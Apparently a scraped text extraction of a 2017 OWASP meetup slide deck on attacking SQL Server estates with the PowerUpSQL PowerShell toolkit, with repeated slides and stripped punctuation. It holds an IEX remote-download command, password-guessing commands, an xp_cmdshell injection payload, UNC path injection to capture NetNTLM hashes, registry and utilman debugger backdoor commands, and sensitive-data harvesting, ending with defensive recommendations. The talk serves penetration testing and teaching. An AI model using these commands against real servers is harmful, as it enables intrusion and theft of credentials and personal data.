  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 10: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 11: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

